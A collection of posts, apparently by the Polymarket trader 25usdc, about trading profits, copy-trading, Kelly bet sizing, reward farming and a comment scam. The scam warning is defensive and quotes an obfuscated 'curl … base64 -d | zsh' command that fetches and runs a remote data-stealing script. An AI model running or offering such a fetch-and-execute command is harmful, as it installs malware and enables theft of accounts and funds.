25usdc

Public trading sounds great in theory. In reality it's pretty asymmetrical and creates problems that quietly eat into profits. After thinking about it for a while, I decided to stop trading my account publicly. There are three main reasons for this, and I think more profitable traders should think about them as well: 1) Copy trading bots: transaction-by-transaction copying is annoying and makes it almost impossible to trade in illiquid order books or long shots, because each limit fill pushes the order book up and destroys a lot of EV in the process. At least this one is easy to recognize. 2) Manual copy trading: this one is less recognizable. It can come in the form of manually checking positions on a top trader profile and taking the same trades, or looking at a market and maybe not taking a position you wanted because the other side of the holder list is full of sharp traders. Usually this only becomes apparent when you talk about positions with the other person. This definitely has benefits (for example a friend group having more eyes on the market), but it will still cut into profits when shared so publicly with a wider group. 3) Learning. The space, like most of finance, is pretty closed. There are amazing groups where real alpha is exchanged, but realistically you don't become part of them unless you're already profitable (and even then it's pretty hard). So how do people become profitable in the first place? Either you're naturally good at it, or you learn by watching someone else. Polymarket makes this very easy: you can search for a top trader and study their trades for a few months (maybe AI is already good enough to do some of that for you?). Every profitable trading style is unique, and I realized I don't want people copying mine, since that will cut into my profits long term even if I don't notice it immediately. So what will this Twitter be now? I like posting here. Reaching such a large audience with just 15 posts has been incredible, and there seems to be demand for more content. Obviously I won't post about my PnL anymore. Instead I'll mainly use this account to share my opinions about markets, post statistics I come across while researching the prediction market space, and talk about whatever else I find interesting (feel free to suggest topics). I already have a few things planned for the next few weeks.

It always feels amazing to come back after a break

I hit my $100k PnL goal for 2025. The last couple of days have been incredible. I started this year with less than a $50 portfolio and wasn't even active for most of it. I'm excited to see what 2026 has in store. I'll definitely be sharing more ideas and alpha.

Had some solid wins today thanks to the new Epstein files, bringing me to $93k PnL. Seven more days - $7k to go to hit the $100k EOY goal.

PnL on my 25usdc account since my last post. Nothing crazy - I was less active and tested new strategies that didn't work (bad luck or bad strategy, not sure) Back to my old strategy for the past week and sticking with it. $100k EOY is ambitious, but still possible. Wish me luck

Trading on Polymarket is pretty time-intensive for me. Some people can check in every few days, take long-term positions, and still make good money - but that's not me. I need to manage my positions multiple times a day to achieve the results you see. I took a break last week and "made" $605, which was just variance. I'm starting to trade again now. Today should be interesting to see whether my Monad bets play out. I'm also keeping an eye on the US x Venezuela and Russia x Ukraine markets and their developments. On that note, I won't be taking all positions on my 25usdc account because I currently have so many copy traders. Please reconsider if you have a copy-trade bot running on my profile! In some cases, these bots combined are taking more than 5x the liquidity I'm taking myself, which makes trading difficult in illiquid markets.

People have lost more than $500,000 by being scammed through Polymarket comments. I am posting this to raise awareness of the growing issue. They say: "Why are you not trading on Polymarket private markets? The odds are always much better on there!" Here is how they try to steal your money: They begin by buying both Yes and No shares for a market from two separate accounts - so their comments still appear when the 'Holders' filter is enabled - and then post a URL to their site in an obfuscated form. On that site you're greeted by a clean-looking page with a Polymarket logo and are asked to log in via email. After you verify the email address (yes, they even send you a code), a new window pops up asking you to verify your activity - pretending to be Cloudflare: But when you click 'Copy', something completely different gets copied: curl -kfsSL $(echo 'ENCODED_STRING=='|base64 -d)|zsh You should never paste a command you don't understand into your terminal! The command first decodes the base64-encoded string (a server URL), then fetches a script from that server and immediately executes it. The script can contain anything, and there won't be any pop-up warning. By now, it's probably too late - at this point, there's not much you can do except, with some luck, turning off Wi-Fi. I won't go into detail about what the script does, but there is further obfuscation and additional scripts. In the end, they gather data, log everything on your system, and send a zip back to their server. They then use this data to log into your accounts and steal your money. They are very careful to hide everything, even after the initial obfuscation there is obfuscation at every step. I also noticed they shut down the server that sends payloads and receives logged data when there is no active victim. Here are the scammers' wallet addresses: DGiJqVHdygJ5wRivY9dMJB7TKTFZkoQ9VhhWRHBGtLKb 3hx7UWFABt9QoEKtqeWcDLvMRzbVXmrqHxEne6s7hXwN They appear to switch wallets frequently and have likely already created new ones, but someone might still glean useful information from these addresses. I think the best way to address this is to allow trusted users to review comments or to introduce a downvote system that hides heavily downvoted posts. The simple warning Polymarket currently displays won't be enough, but I'm confident they'll find a good solution.

BREAKING: Jesus Christ returns before GTA VI (always read the rules when betting)

I lost $7,282 in a single market, so let's talk about drawdowns. A couple of weeks ago, I mentioned that I wanted to increase the size of my bets using Kelly bet sizing. After that post, I started applying it gradually, getting comfortable with larger positions on my 25usdc account. I took a large Yes position in the MegaETH public sale market because I believed it was significantly mispriced compared to similar projects and sales. I accumulated a substantial amount of Yes shares across nearly all brackets, with my largest exposure in the 1.8B and 1.4B brackets, meaning I bet on total commitments exceeding those numbers. As the sale progressed, the 1.8B outcome became less likely, so I doubled down on the 1.4B bracket, convinced it would hit when it traded around 30ct. For a while, it looked like I was right, the market adjusted to 80ct, I took some profits, but kept most of my position. I was confident that late commits would push it over the line. But they didn't. The sale closed at $1,390,923,779, missing the 1.4B bracket by about $9M. Had the three-day sale lasted just a few more minutes, I likely would have won that bet. The 1.4B bracket, which I'd hoped would offset my poor 1.8B trade, didn't save me. I made about $200 there (at one point I was up $6,000) and ultimately finished down around $7,000 across all brackets. This was one of my largest positions to date, and by far my biggest loss. I took a break from the 25usdc account, and since returning two days ago, I've already recovered $6,000, gradually repairing that dent in my PnL curve. While this was a significant loss, it didn't affect me emotionally. I'll continue making larger bets and am comfortable accepting deeper drawdowns and higher volatility in pursuit of greater long-term returns. However, everyone has to decide for themselves how much risk they're willing to take. Here's my graph - there is a dent now:

Time in the market beats timing the market. On @Polymarket, the trader Joe-Biden made what I believe is the sharpest major political bet of the year. He bought No on the Russia x Ukraine ceasefire market at 33.5ct - at a time when most believed a ceasefire was imminent. Trump had publicly stated that brokering peace between Russia and Ukraine would be his top foreign policy priority, claiming he could achieve a ceasefire within his first 24 hours in office. Fast forward 10 months, and Joe-Biden has earned an average of $2,600 per day, simply by taking the contrarian view, placing a few orders and holding. Notably, he didn't even time it perfectly, No shares traded as low as 22ct in March and he could have already sold at a price higher than the current one. But he didn't need to. He "won" regardless. He never sold a share and even added to his position when Trump and Putin met in Alaska in August. He's currently up $750,000 on the trade. Would you have predicted this 10 months ago? This is what fascinates me about prediction markets: conviction and patience can outperform timing. When you try to time the market, panic selling and emotional betting become much more likely. Here is his profile: polymarket.com/0x8b5a7da2fdf2…

Here is how I grew my initial $25 into a few thousand dollars on Polymarket. It's a great way to get started and earn consistent returns with relatively low risk - as long as you avoid taking terrible positions (and there are a few ways to minimize that risk). The secret? Reward farming. Polymarket rewards users who provide liquidity by distributing roughly $16,000 per day. Here's how it works: To begin, go to polymarket.com/rewards?via=25…. That's the Polymarket rewards page, and it's the best place to start if your main goal is farming rewards. Each market has an order book where users can place limit orders. Sometimes market buying makes more sense, but you can only earn rewards by placing limit orders. Click on any market to open its order book. There are a few key terms to understand: Min Shares This is the minimum number of shares you must have on one side of the spread. If your order is partially filled and falls below that threshold, you won't receive rewards. You also can't stack orders to meet the requirement. For example, if the minimum is 20 shares, two separate 10 share orders won't qualify. The opposite side of the spread also needs to meet the minimum for you to earn rewards. However, this requirement can be met collectively by multiple traders. So if you're the only one on your side, you can earn 100% of the rewards if the opposite side is split among several smaller orders. Reward This value shows the total dollar amount that the market will pay out over 24 hours to all users farming in it. You can see your personal share under "Percent" on the Rewards page - it fluctuates constantly as others change their orders. Polymarket can adjust this reward number at any time, which can be frustrating if you've committed a large position to farm a market with high rewards and it suddenly drops. Competitiveness A helper metric that provides a rough estimate of how much liquidity is currently farming in that market. Earnings This shows how much you've earned from that market for the day. It resets at midnight UTC, and your total daily earnings are automatically added to your Polymarket balance. You must earn at least $1 in total across all markets per day to receive a payout. I recommend filtering by this column (click it once) to view the markets you actually farmed that day. Max Spread In most liquid markets, hover over the "Rewards" label above the order book to see the relevant spread lines, then place your limit orders within that range. In illiquid markets, it's trickier, those highlighted lines are often inaccurate. Max Spread is the maximum number of cents your order can be away from the midpoint. For example: If the market spread is 7ct but the Max Spread for rewards is 3ct, no one earns rewards because no orders are close enough to the midpoint. Once both sides place orders within that 3ct range (spread now 6ct or less), both earn rewards (assuming they meet the Min Shares requirement). You can also outbid one side to tighten the spread and share rewards only with the opposite side. You earn a higher percentage of rewards by: - Holding larger share amounts, and - Being closer to the midpoint. If the midpoint goes above 90ct or below 10ct, you'll need limit orders on both sides of the spread to keep earning rewards. For the exact reward calculation formula, see the official docs: poly.market/documentation (search "Rewards"). But honestly, it's easiest to just experiment and watch how your "Percent" value changes after placing and changing orders. Keep in mind that reward earnings aren't currently reflected in your Polymarket PnL, so you'll need to track them separately or use a tools that does it for you (like I did in my last post). You'll usually find the best returns in illiquid markets. I often earned 50-100% of the rewards for a few hours in markets offering around $200 in rewards - even with a small balance. While I often mention "the opposite side of the spread," you can also act as a sole market maker by placing orders on both sides and collecting 100% of the rewards. However, you need a solid understanding of the market to keep the spread within a 6–10ct range yourself. Back when I was actively farming these LP rewards with my 20-share orders, I used some pretty wild strategies. If enough people are interested, I'll share some of them in detail. You can probably figure out a few just by experimenting on your own. These days, I just trade, but I still earn about $30 a day from the limit orders I leave open. Good luck, I hope I can see more stories like mine soon.

I turned $17,962 into $50,223 on @Polymarket over the past 30 days, averaging over $1,000/day. Started this account with just $25. Almost all of my positions were under 5% of my portfolio. Hit $50k. Next goal: $100k.

@PredictFolio I'm at $49k now (including $4.5k from reward farming)! Think I can hit $50k tomorrow? 😁

Absolutely insane. 🤯 This Polymarket trader turned $25 into $41,000 in just 7 months. Check out his profile: predictfolio.com/dashboard/0x75…

Since my last post 5 days ago, I've grown my portfolio with various bets from $26,664 to $35,632. That's about a 34% ($8,968) increase. This is great, but it could have been a lot more if I had used proper bet sizing: I noticed that I don't have any positions larger than 5% (~$1,750) of my port on 25usdc right now. Of course $1,750 is a lot of money, that's more than the gross average monthly wage in Greece, but I should be betting a lot more when I'm confident a market is mispriced. So how much should I bet? There's a great formula called the Kelly criterion. It can be used to calculate the optimal position size for each bet while maximizing expected value in the long term. All that is needed is the market price and your estimated fair price. Plug these two into the formula and you get the fraction of your portfolio you should allocate to the bet. It's usually wise not to go full Kelly, maybe half or quarter Kelly, so that we can emotionally deal with swings, losses, and avoid wiping out if we were way off with our fair percentage. Additionally, for many bets, this isn't even possible for larger traders, there's simply not enough liquidity. It's also often not desirable because we can't fairly value everything. Some things just can't be estimated that well. Keep in mind there can also be information asymmetry, for example, if you're buying against insiders. Don't take huge bet sizes, especially when you're starting out. Most successful traders don't use strict Kelly criterion for all their bets but they have a good intuitive sense of it, adjusted for their personal risk preferences. It's still a great value to go off of though. For me personally, it's hard to intuitively adjust my bet sizing because my portfolio is growing so fast. I basically have to take bigger trades every day, but I'm not, I'm still trading as if my portfolio were at $10k. I've decided to use Kelly more and train myself with it. For that, let's take a look at the Will Donald Trump win the Nobel Peace Prize in 2025? market. At the time of writing, No can be bought for 95ct but my fair value for No is 99ct - based on the Norwegian committee reportedly finalizing its decision on Monday, before Trump helped secure the ceasefire in Gaza, as well as their past decisions and general political tendencies. Plugging these two values into the Kelly formula gives us an optimal allocation of 80% of our bankroll. I won't go that far, but using quarter Kelly, I'll allocate 20% of my portfolio, or about $7,000. My expected return is 4.2% in less than one day. Of course, there's a chance I could lose, but I'm happy to take that risk for the expected return. I'll see you tomorrow redeeming my biggest position yet.

Here is the account: @25usdc" target="_blank" rel="nofollow noopener">polymarket.com/@25usdc Trade: +$22,544 Rewards: +$4,001

I turned a $25 Polymarket deposit into $26,664 PnL. Here is the journey: I was watching election night live and saw Polymarket in action. Soon after, I deposited ~$25, placed a few bets, then basically forgot about it. Two months later I checked back and the small account had doubled. That's when I dug a bit deeper into the platform and discovered Polymarket rewards for providing liquidity. I experimented with placing limit orders in illiquid markets when I was bored. Over ~3 months (while barely active), I turned the ~$50 into ~$1,200: about -$200 from trades but +$1,400 from rewards. Then I decided to actually trade. I joined some Discord servers and talked to new people (I also started separate Polymarket accounts). During the action-packed June (US-Israel strikes on Iran), I grew the $1,200 into $10,000 in just 33 days. After that, I went mostly inactive for 50 days, only placing the occasional bet. PnL stayed flat with small spikes. In mid-August I started actively trading again. In the ~50 days since, I've grown the account to $26,664 PnL. For transparency: I've traded crypto before and now run multiple Polymarket accounts (though these aren't included in the PnL here). I could have redeposited funds at any time, but I still followed strict risk management (no single bet over 20% of the portfolio). There were also some non-trade transactions (refunds, alpha sharing, poker). I tried to keep these off this account to keep the portfolio size clean, but they probably nudged the numbers slightly. So while I called it "$25 to $26,664," the more accurate description is a $1k to $27k run in 4-5 months of trading. But since my name is 25usdc, I'll have to stick with the first version. Going forward, I'll use this account to share opinions on bets, updates on my trades, and my ongoing journey in prediction markets. Next milestone: $100k. Let's see how far this $25 can go.